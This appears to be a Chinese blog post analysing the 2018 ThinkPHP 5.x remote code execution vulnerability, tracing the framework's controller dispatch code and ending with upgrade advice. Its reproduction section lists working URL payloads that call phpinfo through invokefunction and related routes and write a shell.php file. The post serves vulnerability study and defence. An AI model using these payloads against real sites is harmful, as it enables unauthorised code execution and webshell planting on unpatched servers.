引言
ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架。
本次ThinkPHP5.x漏洞爆出时间大约是2018-9月,尚处于 0day 阶段时就已经被用于攻击多个虚拟货币类、金融类网站;直到2018-10-8号左右才被广泛传开,杀伤力太大,无条件执行代码,我的几个项目也紧急的升级,有惊无险。
ThinkPHP5.x漏洞影响版本
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31
漏洞分析我是第一时间在T00ls上看的,现在已经全网到处都是了。
漏洞分析
该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞。
漏洞点在Module.php,先调用的exec函数,初始化类时调用init()
从$this->dispatch
获取$controller和 $this->actionName
的值然后进入exec函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
public function init() { parent::init(); $result = $this->dispatch; ......................... $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); $this->controller = $convert ? strtolower($controller) : $controller; // 获取操作名 $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); // 设置当前请求的控制器、操作 $this->request ->setController(Loader::parseName($this->controller, 1)) ->setAction($this->actionName); return $this; } |
先调用的exec函数,初始化类时调用init()
从$this->dispatch
获取$controller和 $this->actionName
的值然后进入exec函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
public function exec() { // 监听module_init $this->app['hook']->listen('module_init'); try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } $this->app['middleware']->controller(function (Request $request, $next) use ($instance) { // 获取当前操作名 $action = $this->actionName . $this->rule->getConfig('action_suffix'); if (is_callable([$instance, $action])) { // 执行操作方法 $call = [$instance, $action]; // 严格获取当前操作方法名 $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $this->rule->getConfig('action_suffix'); $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $this->request->setAction($actionName); // 自动获取请求变量 $vars = $this->rule->getConfig('url_param_type') ? $this->request->route() : $this->request->param(); } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$this->actionName]; $reflect = new ReflectionMethod($instance, '_empty'); } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()'); } $this->app['hook']->listen('action_begin', $call); $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data); }); return $this->app['middleware']->dispatch($this->request, 'controller'); } |
在$this->app->controller
中将$this->controller
进行实例化,跟进$this->app->controller
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass); } throw new ClassNotFoundException('class not exists:' . $class, $class); } |
$this->parseModuleAndClass
对传入的controller进行解析,返回解析出来的class以及module。可以看到如果$name
以\
开头就将name直接作为class,再返回到controller函数中将$class
实例化成object对象,返回给exec函数中的$instance
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
protected function parseModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $class = $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; } |
最后就是调用invokeArgs进行反射调用类中的方法了。
有了任意调用类的方法,我们就只需要找一下可以从那些类进行触发,主要看看\thinkphp\library\think\App.php中的,invokeFunction。
ThinkPHP 5.0.x漏洞invokeFunction
1 2 3 4 5 6 7 8 9 10 |
public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 记录执行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); } |
ThinkPHP 5.1.x漏洞invokeFunction
1 2 3 4 5 6 7 8 9 10 11 12 |
public function invokeFunction($function, $vars = []) { try { $reflect = new ReflectionFunction($function); $args = $this->bindParams($reflect, $vars); return call_user_func_array($function, $args); } catch (ReflectionException $e) { throw new Exception('function not exists: ' . $function . '()'); } } |
都是对传入的$function
以及$var
进行动态调用,直接传入?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
即可。
漏洞复现
payload如下:
1 2 3 4 5 |
?s=index/\think\Request/input&filter=phpinfo&data=1 ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php%20phpinfo();?> #在shell.php中写入phpinfo ?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?> #linux下使用 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 |
直接访问即可任意代码执行。
漏洞防御
升级到Thinkphp最新版本,包括自动升级最新内核版本和手动升级方法,具体看官方:https://blog.thinkphp.cn/869075 。
原文连接
的情况下转载,若非则不得使用我方内容。